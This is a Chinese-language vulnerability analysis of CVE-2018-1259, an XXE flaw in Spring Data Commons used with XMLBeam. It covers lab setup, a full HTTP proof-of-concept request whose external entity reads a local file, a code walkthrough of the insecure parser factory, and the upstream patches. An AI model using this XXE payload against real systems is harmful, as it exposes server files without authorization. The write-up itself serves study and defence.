CVE-2018-1259

XXE with Spring Data’s XMLBeam integration

漏洞公告

Spring Data XXE 攻击

危害等级:高

漏洞描述:

XMLBeans 提供了底层XML数据的对象视图,同时还能访问原始的XML信息集合。 Spring Data Commons 1.13至1.13.11以及2.0至2.0.6的版本在与XMLBeam1.4.14或更早的版本进行结合使用时,XMLBeam不会限制XML外部实体应用,导致未经身份验证的远程恶意用户可以针对Spring Data的请求绑定特定的参数,访问系统上的任意文件。

环境搭建

  1. 下载官方的示例包,使用idea打开,然后等待相关插件和包的安装。
    https://github.com/spring-projects/spring-data-examples/
    https://github.com/spring-projects/spring-data-examples/tree/master/web/projection
    
  2. 进入命令行,进入目录web\projection,输入mvn clean package生成package

    这里需要把idea下面的maven路径写到环境变量path中
    \IntelliJ IDEA\plugins\maven\lib\maven3\bin

  1. 进入jar包所在目录,输入命令
    java -jar spring-data-web-projection-2.0.0.BUILD-SNAPSHOT.jar
    
  2. 访问 http://localhost:8080

  3. 使用burp抓包,POST过去poc查看输出
    ```
    POST / HTTP/1.1
    Host: localhost:8080
    Content-Length: 204
    Cache-Control: max-age=0
    Origin: http://localhost:8080
    Upgrade-Insecure-Requests: 1
    Content-Type: application/xml
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
    Referer: http://localhost:8080/users
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///e://1.txt" >]>

<user> <firstname>&xxe;</firstname> <lastname>melody</lastname> </user>

## 遇到的问题

1. 把文件夹导入idea之后,mvn package发现poc攻击不成功,感觉是不能输入xml的头部,报错提示:
```bash
Caused by: org.xml.sax.SAXParseException; lineNumber: 2; columnNumber: 10; 将功能 "http://apache.org/xml/features/disallow-doctype-decl" 设置为“真”时, 不允许使用 DOCTYPE。

这个是相关包的版本问题,这里的漏洞复现需要Spring Data Commons 1.13至1.13.11以及2.0至2.0.6的版本在与XMLBeam1.4.14或更早的版本进行结合使用 ,这里idea默认加载的时候,spring-data-commons的版本是2.0.7,所以需要进行一点修改。

在窗口左边的External Libraries下面右键,选择Open Library Settings,找到Maven: org.springframework.data:spring-data-commons:2.0.2.RELEASE2把它旁边的 2.0.7/2.0.8/2.10.0 什么的全部删掉,只保留2.0.2的版本,然后重新生成包。保留2.0.6版本的进行调试风味更佳

在这里也可以看出高版本中防御xxe的方法:

禁用xml中的inline DOCTYPE 声明说白了就是禁用DTD不允许将外部实体包含在传入的 XML 文档中从而防止XML实体注入XML External Entities 攻击利用能够在处理时动态构建文档的 XML 功能注入外部实体)。

为了避免XXE injections应为XML代理解析器或读取器设置下面的属性
factory.setFeature("http://xml.org/sax/features/external-general-entities",false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

如果根本不需要 inline DOCTYPE 声明可直接使用以下属性将其完全禁用
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

漏洞分析

PS:这边使用的是2.0.2版本的commons不是2.0.6版本(因为我的maven search还没更新好=。=b)
首先是spring-data-commons配合xmlbeam的洞,进入commons的代码,找到和xml有关的这个文件:org\springframework\data\web\XmlBeamHttpMessageConverter.java
关注调用XmlBeam的函数XBProject,line23:

public class XmlBeamHttpMessageConverter extends AbstractHttpMessageConverter<Object> {
    private final XBProjector projectionFactory = new XBProjector(new Flags[0]);
    private final Map<Class<?>, Boolean> supportedTypesCache = new ConcurrentReferenceHashMap();

进入XBProject/org/xmlbeam/XBProjector.java:169

public XBProjector(XBProjector.Flags... optionalFlags) {
        this(new DefaultXMLFactoriesConfig(), optionalFlags);
    }

可以看到这里使用的是默认的配置,接下来会使用这个projectionFactory来读取输入流中的xml里面的信息,代码走到org\springframework\data\web\XmlBeamHttpMessageConverter.java:47

protected Object readInternal(Class<? extends Object> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException {
        return this.projectionFactory.io().stream(inputMessage.getBody()).read(clazz);
    }

跟进read函数,org/xmlbeam/io/StreamInput.java:31

@Scope(DocScope.IO)
    public <T> T read(Class<T> projectionInterface) throws IOException {
        Document document = this.readDocument();
        return this.projector.projectDOMNode(document, projectionInterface);
    }

跟进readDocument函数,org/xmlbeam/io/StreamInput.java:37

private Document readDocument() throws IOException {
        try {
            DocumentBuilder documentBuilder = this.projector.config().createDocumentBuilder();
            Document document = this.systemID == null ? documentBuilder.parse(this.is) : documentBuilder.parse(this.is, this.systemID);
            return document;
        } catch (SAXException var3) {
            throw new RuntimeException(var3);
        }
    }

这里!终于!看到了createDocumentBuilder!
接下来跟进org/xmlbeam/config/DefaultXMLFactoriesConfig.java中的这两个函数,这两个函数就是构造DOM解析器的工厂实例,然后DOM 工厂获得 DOM 解析器的位置,在这里因为没有设置工厂的一些安全属性,即禁止外部实体的引用,导致输入中的inline DOCTYPE的使用被采纳,外部实体被导入,导致xxe漏洞的发生。xmlbeam最新版本的补丁也是在这里patch的。

public DocumentBuilder createDocumentBuilder() {
        try {
            DocumentBuilder documentBuilder = this.createDocumentBuilderFactory().newDocumentBuilder();
            return documentBuilder;
        } catch (ParserConfigurationException var2) {
            throw new RuntimeException(var2);
        }
    }

    public DocumentBuilderFactory createDocumentBuilderFactory() {
        DocumentBuilderFactory instance = DocumentBuilderFactory.newInstance();
        if (!DefaultXMLFactoriesConfig.NamespacePhilosophy.AGNOSTIC.equals(this.namespacePhilosophy)) {
            instance.setNamespaceAware(DefaultXMLFactoriesConfig.NamespacePhilosophy.HEDONISTIC.equals(this.namespacePhilosophy));
        }

        return instance;
    }

图片展示的是我们写入的并被程序读到的document的内容。

补丁分析

spring-data-commons的补丁

补丁地址:
https://github.com/spring-projects/spring-data-commons/commit/b8974a292ab463a304eda987632be4d9c145f5f8

src/main/java/org/springframework/data/web/XmlBeamHttpMessageConverter.java这边在传入XMLBeam的XBProjector时候做了新的配置:

可以看出关键的两句,给DOM 工厂设置参数,阻止了外部实体的引入,禁用inline DOCTYPE声明,防止了XML实体注入。

xmlbeam的补丁

补丁地址:
https://github.com/SvenEwald/xmlbeam/commit/f8e943f44961c14cf1316deb56280f7878702ee1

补丁在src/main/java/org/xmlbeam/config/DefaultXMLFactoriesConfig.java中添加了一个数组,里面是一些安全配置,然后通过循环,在createDocumentBuilderFactory()函数中,循环进行安全设置,其中前两条就是上面spring-data-commons使用的两条,具体见下面:

+    private static final String[] FEATURE_DEFAULTS = new String[] { "http://apache.org/xml/features/disallow-doctype-decl#true", //
+            "http://xml.org/sax/features/external-general-entities#false", //
+            "http://xml.org/sax/features/external-parameter-entities#false", //
+            "http://apache.org/xml/features/nonvalidating/load-external-dtd#false" };

what's more

发现两个补丁里面都有写xxe的test ^_^

src/test/java/org/springframework/data/web/XmlBeamHttpMessageConverterUnitTests.java
就像直接给poc一样23333

影响版本和解决方案

漏洞的问题是,xml默认配置允许外部实体等可能导致xxe的非法输入,禁止外部实体和inline DOCTYPE的那两句设置两边(data-commons和xmlbeam)都没有加,如果调用的是xmlBeam1.4.15之前的版本自己加上配置也行,或者1.4.15之后xmlBeam都默认加了。
https://blog.csdn.net/qq_32331073/article/details/79941132

影响版本:

解决方案:

参考

源链接

Hacking more

...